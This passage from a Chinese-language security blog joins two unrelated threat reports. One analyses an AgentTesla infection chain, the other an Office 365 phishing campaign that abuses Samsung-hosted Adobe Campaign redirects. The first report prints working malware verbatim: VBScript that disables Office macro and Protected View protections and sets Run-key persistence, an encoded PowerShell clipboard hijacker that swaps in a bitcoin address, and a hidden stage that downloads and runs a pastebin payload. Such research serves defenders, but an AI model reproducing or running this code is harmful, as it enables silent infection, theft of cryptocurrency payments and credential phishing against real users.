"HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\AllowDDE", 1, "REG_DWORD"

代码段5

从代码中可以看到,powershell命令隐藏在名为$cici的变量中,该变量立即从十进制转换为相对ascii值。

18.png

代码片段6

在代码片段6中,研究人员找到了一个Powershell代码,该代码指示插入Microsoft Windows Anti-Malware排除项中的以下过程:msbuild,calc,powershell,wscript,mshta和cmd。

此复杂链中的另一个脚本是YL0je2fU:


< script language="VBScript" >
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\replcia", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).mogale)|IEX"""", 0 : window.close"")", "REG_SZ"
CreateObject("Wscript.Shell").regwrite "HKCU\Software\mogale", "[email protected](102,117,110,99,116,105,111,110,32,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,91,115,116,114,105,110,103,93,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,10,123,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,91,48,93,32,45,110,101,32,39,49,39,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,115,116,114,76,101,110,103,116,104,32,61,32,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,46,108,101,110,103,116,104,10,9,105,102,40,36,115,116,114,76,101,110,103,116,104,32,45,108,116,32,50,54,32,45,111,114,32,36,115,116,114,76,101,110,103,116,104,32,45,103,116,32,51,53,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,118,97,108,105,100,82,101,103,101,120,32,61,32,39,94,91,97,45,122,65,45,90,48,45,57,92,115,93,43,36,39,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,111,116,109,97,116,99,104,32,36,118,97,108,105,100,82,101,103,101,120,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,114,101,116,117,114,110,32,36,116,114,117,101,10,125,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,32,61,32,40,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,41,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,46,108,101,110,103,116,104,10,36,105,32,61,32,48,10,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,34,34,10,119,104,105,108,101,40,49,41,10,123,10,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,61,32,71,101,116,45,67,108,105,112,98,111,97,114,100,10,9,105,102,40,40,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,41,32,45,99,101,113,32,36,116,114,117,101,32,45,97,110,100,10,9,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,101,32,36,111,108,100,65,100,100,114,101,115,115,83,101,116,41,10,9,123,10,9,9,83,101,116,45,67,108,105,112,98,111,97,114,100,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,105,32,61,32,40,36,105,32,43,32,49,41,32,37,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,10,9,125,10,125);[System.Text.Encoding]::ASCII.GetString($cici)|IEX" , "REG_SZ"
Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe ((gp HKCU:\Software).mogale)|IEX", null, objConfig, intProcessID)
self.close
< /script >

代码段7

即使在这种情况下,也将使用相同的变量名“$ cici”嵌入其中的powershell脚本,但其主体如下:

20.png

代码段8

该脚本会在受害设备的剪贴板中进行持续检查,查找比特币地址,其中一些地址也经过硬编码。最后一个阶段是UyFaSxgj:

< script language="VBScript" >Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/eyGv9x4B'));$_Xpin=$_Xpin.replace('.','*!(@*#(#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)", null, objConfig, intProcessID)
self.close
< /script >

代码段9

该组件通过powershell脚本生成了一个来自pastebin eyGv9x4B的二进制文件,但是不幸的是,在分析时,该粘贴已被删除。

这个示例可以向研究人员暗示由攻击者构建的恶意基础架构的强大功能,其中组件可以随时被删除或替换为另一个组件。

有效载荷

如前所述,最终的有效载荷是AgentTesla,它仍然是目前行的恶意软件之一,会窃取有关受害者的大量敏感信息。在过去的几年中,研究人员不断研究这种软件的演变,并列举了该攻击组织窃取的所有敏感数据。

然而,同样在这种情况下,研究人员获得了最终的有效载荷和SMTP客户端的配置,该客户端将发送被盗取的信息:

22.png

AgentTesla SMTP客户端的配置

攻击者已临时创建域“atn-com.pw”,以管理感染活动。通过研究域的正常运行时间,研究人员能够重构攻击攻击者的感染活动。

23.png

有关C2正常运行时间统计信息

如上所示,该域名已在1月的最后几天注册,并且自四月中旬以来一直处于活动状态

总结

毫无疑问,隐藏在这场攻击背后的攻击者在近几个月持续对意大利的生产运营的许多组织持续发起了网络攻击。这些年来开发和测试的复杂的感染链为该攻击组织提供了绕过许多传统安全防御层所需的破坏力。

在此期间,攻击者的传播基础设施被用来安装不同种类的恶意软件:大多数时候,是远程访问木马以及信息和凭据窃取软件。这类恶意软件能够启用网络间谍活动和知识产权盗窃活动,从而有可能在黑市上转售这些被盗的信息。

攻击指标

微信截图_20200614184845.png

1592904682860556.jpeg

在过去的几年中,Office 365在企业部门的使用率显著增加。不过,它的流行也引起了网络罪犯的注意,因此他们发起钓鱼活动专门攻击这个平台。由于90%的网络攻击都是从网络钓鱼开始的,所以Office 365对于那些试图逃避不断引入的安全解决方案的威胁者来说是一个很有吸引力的攻击目标。

最近,一场看似简单的Office 365网络钓鱼活动引起了我们的注意。攻击者滥用Adobe的广告重定向机制,使用一个三星域名将受害者重定向到一个O365主题的钓鱼网站。通过分析发现,黑客们正是利用安全软件不会阻止他们进入像三星这样信誉良好的域名这一事实。

为了扩大攻击范围,攻击者还侵入了几个网站,注入了一个模仿Adobe重定向服务提供的相同机制的脚本。进一步的调查显示,攻击背后的参与者使用了一些其他有趣的技巧来隐藏钓鱼工具包,并避免在攻击的每个阶段被发现。这份报告将描述我们对Office 365钓鱼活动的发现,该活动使用受信任的服务来发起新的攻击。

漏洞利用

Adobe和三星在漏洞利用中都没有受到攻击,三星,Adobe的广告服务可以用来管理不一定属于公司营销活动的广告活动。

重定向机制将用户重定向到他们刚刚单击的URL中指定的目的地,例如,这允许广告代理在将用户重定向到一个广告页面之前,通过记录每次成功的访问来衡量和监控正在进行的广告活动。

攻击流程

2020年4月上旬,我们检测到网络钓鱼活动,该网络钓鱼活动向受害者发送了“丢失的语音消息”电子邮件。这些攻击中约有43%是针对欧洲公司的,其余的则集中在亚洲和中东。电子邮件提示用户点击一个按钮,据称该按钮会将他们重定向到其Office 365帐户。这些电子邮件使用一些非常基本的自定义功能,例如带有目标域名的主题行以及电子邮件正文中包含的用户名。尽管顶部显示“来自受信任服务器的消息”通知,但保持警惕的用户仍会注意到一些不准确之处。以下是其中一封钓鱼邮件的例子:

1.png

Office 365语音邮件网络钓鱼电子邮件

在受害者点击了这个按钮后,他们被重定向到一个伪装成Office 365登录页面的钓鱼页面。在后台,这种重定向包括两个阶段:第一阶段滥用了合法域名上现有的重定向方案(比如samsung [.]ca),第二阶段将用户重定向到一个受攻击的WordPress网站。

2.png

网络钓鱼攻击方案

大多数电子邮件来自多个生成的地址,这些地址属于英国牛津大学不同部门的合法子域。

[email protected]x.ac.uk

在这个攻击中使用的一个自动生成的电子邮件地址的例子。

邮件标题显示,攻击者找到了一种方法来滥用牛津的一个SMTP服务器。邮件源自NordVPN IP地址194.35.233.10,然后被发送到Oxford SMTP服务器和Oxford中继服务器,具体过程如下图所示:

3.png

使用合法的Oxford SMTP服务器允许攻击者通过对发送者域的信誉检查。此外,没有必要为了发送钓鱼邮件而破坏实际的电子邮件帐户,因为他们可以生成他们想要的电子邮件地址。

第一阶段:滥用三星电子邮件重定向

使用Adobe Campaign开放重定向的技术最初于2019年9月在Adobe自己的域名上被发现。在过去的几个月里,它被广泛用于网络钓鱼。为了逃避检测,攻击者滥用开放和著名的Adobe活动服务器,将潜在受害者重定向到他们自己的钓鱼网站。这意味着,钓鱼邮件中嵌入的链接是可信域的一部分,它会在不知情的情况下将受害者重定向到钓鱼网站。

在本文的示例下,Adobe活动服务器位于加拿大。

http://t.email1.samsung[.]ca/r/?id=ff1b346f,303d531,303d53e&p1=8107023398&p2=8107023398&p3=DM15290&p4=https://compromised.site#[email protected]

操作过程

t.email1.samsung[.]ca是三星位于加拿大电子邮件活动的子域,它托管一个Adobe活动服务器。特别设计的URL包含一个名为p4的参数,它为每个受害者提供不同的重定向目的地。

在我们的案例中,攻击者从一个古老但合法的三星“网络星期一”主题电子邮件活动中获取了现有链接,该活动可以追溯到2018年。通过改变p4参数,他们将受害者重定向到他们控制的域名,而不是原来的http://samsung.com/ca/:

http://t.email1.samsung.ca/r/?id=hf1b346f,303d531,303d53e&p1=8107023398&p2=8107023398&p3=DM15290&p4=http://www.samsung.com/ca/?mkm_rid=8107023398&mkm_mid=DM15290&cid=ca_email_newsletter_holidaycybermonday_20181126_fr-x-x-viewproducts-x-x

通过使用特定的Adobe Campaign链接格式和合法域名,攻击者增加了电子邮件绕过基于信誉、黑名单和URL模式的电子邮件安全解决方案的机会。

但是,这并不是第一次将基于三星基础架构的Adobe Campaign用作网络钓鱼的中继。据urlscan称,自2020年2月以来,t.info.samsungusa[.]com域已用于与网络钓鱼相关的重定向。

第二阶段:将用户重定向到一个受攻击的WordPress网站

重定向的第二层目的是用于将最终的钓鱼页面与原始电子邮件隔开。在本文的案例中,攻击者使用了几个包含恶意重定向代码的受攻击的WordPress网站。

引入另一个重定向层使攻击者能够绕过调查电子邮件内链接的安全解决方案。因此,邮件中的URL指向一个WordPress网站,而不是一个可疑的钓鱼页面。

重定向代码,它被添加到受害网站的主页HTML代码,也检查请求的URL是否包含#符号后面的电子邮件地址。如果满足这个条件,它会将受害者重定向到最终的钓鱼工具包。

7.png

在受攻击的WordPress网站上重定向代码

因此,只有在链接中具有电子邮件地址的用户才会被重定向,而直接进入WordPress网站的用户则不会注意到任何更改,这个技巧可以防止网站所有者发现他们的页面被滥用。

更多的重定向

在攻击开始几天后,攻击者将邮件中的URL更改为以下地址:

http://t-email1.ottawashowers[.]ca/r/?id=ff1b346f,303d531,303d53e&p1=8107023398&p2=8107023398&p3=DM15290&p4=https://compromised.site&[email protected]

这一次,受感染的WordPress网站是ottawashowers[.]ca。攻击者在/r/文件夹中设置了子域名t-email1和重定向脚本,以模拟Adobe Campaign URL。此时,原始三星活动的参数保持不变。

9.png

可以看出,t-email1.ottawashowers[.]ca表明了这个攻击的目标

10.png

带有受感染的WordPress网站的网络钓鱼攻击方案,用于首次重定向

在后续的攻击中,攻击者将重定向方法更改为独立于特定域或Adobe Campaign服务器。他们发起攻击并在多个WordPress网站上设置了类似的重定向(要查看完整列表,请访问附录)。

11.png

具有不同重定向服务器的攻击时间表

除了更改重定向域之外,攻击者还开始更改URL中的其他(以前是恒定的)参数,同时保留了基本的Adobe URL结构。这些参数用于检查链接的完整性,并避免被基于模式的引擎(不会自动阻止所有Adobe Campaign重定向)检测到。如果在此链接中手动更改了参数,则服务器将返回消息:AUTH FAILED。

123.png

在一个被攻击的WordPress网站上的Opendir包含了新创建的重定向文件夹r/

网络钓鱼工具

最终的钓鱼工具被放置在受感染的WordPress网站上,在某些情况下,钓鱼工具被放置在看起来像微软登录页面的网站上。每个受害者都创建了一个单独的虚拟目录,因此每个受害者的最终URL是不同的,即使在同一台服务器上也是如此。

13.png

Microsoft网络钓鱼页面

钓鱼网页的大部分HTML代码是由JavaScript生成的,钓鱼页面被分成多个部分,每个部分都用多字节XOR进行了混淆。例如,HTML页面的

14.png

被仿冒网页的一部分

对第一个eval()语句进行解码将揭示解码函数,如下所示:

15.png

十六进制解码后的第一个eval()语句

这个解码函数从参数中提取已编码的数据(存储在tmp[0]中)和异或密钥(存储在tmp[1]中),并在数据和密钥之间执行异或(在上面的代码中执行循环)。

第二个eval()语句调用这个解码函数,并用document.write()将最终的HTML写入页面:

16.png

十六进制解码后的第二个eval()语句

17.png

解码后的HTML代码的

生成的HTML代码意味着所有页面看起来都相同,但是它们具有完全不同的源代码。与混淆一起使用,此方法有助于从安全软件中隐藏代码及其恶意内容。

总结

在此攻击活动中,攻击者在每个阶段使用多种机制绕过安全解决方案。

1. 利用牛津的电子邮件服务器发送垃圾邮件,可以使它们绕过发件人信誉过滤器并使用生成的电子邮件帐户,而不是攻击实际帐户。

2. 邮件中的链接指向三星拥有的一个信誉很高的域名。

3. 一连串的重定向会导致一个完全混淆的钓鱼页面。

在短暂的活动期间,攻击者不断开发和改进了重定向方法,使其不依赖于特定域和Adobe Campaign服务器。

目前,Adobe已经采取了相关措施,以防止黑客通过其服务器对所有客户发起此类攻击。

附录

重定向的服务器:

t.email1.samsung[.]ca/r/
t-email1.ottawashowers[.]ca/r/
t-email1.instantytpresence[.]com/r/
flycloud.co[.]il/r/
cosmos.org[.]in/r/
iyak.org[.]tr/o/
ankit-gupta.co[.]in/r/
istern.co[.]il/r/

托管Office 365网络钓鱼工具包或中间重定向的受攻击WP网站:

junestore[.]club
popskill[.]net
yourhindinews[.]com
mrdigitalduniya[.]com
vrpublicnews[.]com
learndigitalseo[.]com
ghassociates.co[.]in
yournewstv[.]com
codewithjustin[.]com
pretrendy[.]com
dalelaganj[.]com
getfasternews[.]com
bloggingthenews[.]com
wpbasket.co[.]il
acornmagic[.]club
heaccountabilitycollective[.]com
legaltax[.]in
cbcvietnam[.]org
zeriio[.]com
ww.indoxxi[.]pl
espinozaweb[.]net
rumahcendekiaunj[.]com
beatanyinvestment[.]club
activedomain53[.]com
absoluteaesthetics.co[.]uk
tremplinedu[.]com
iamkongu[.]com
www.kwentongnoypi[.]com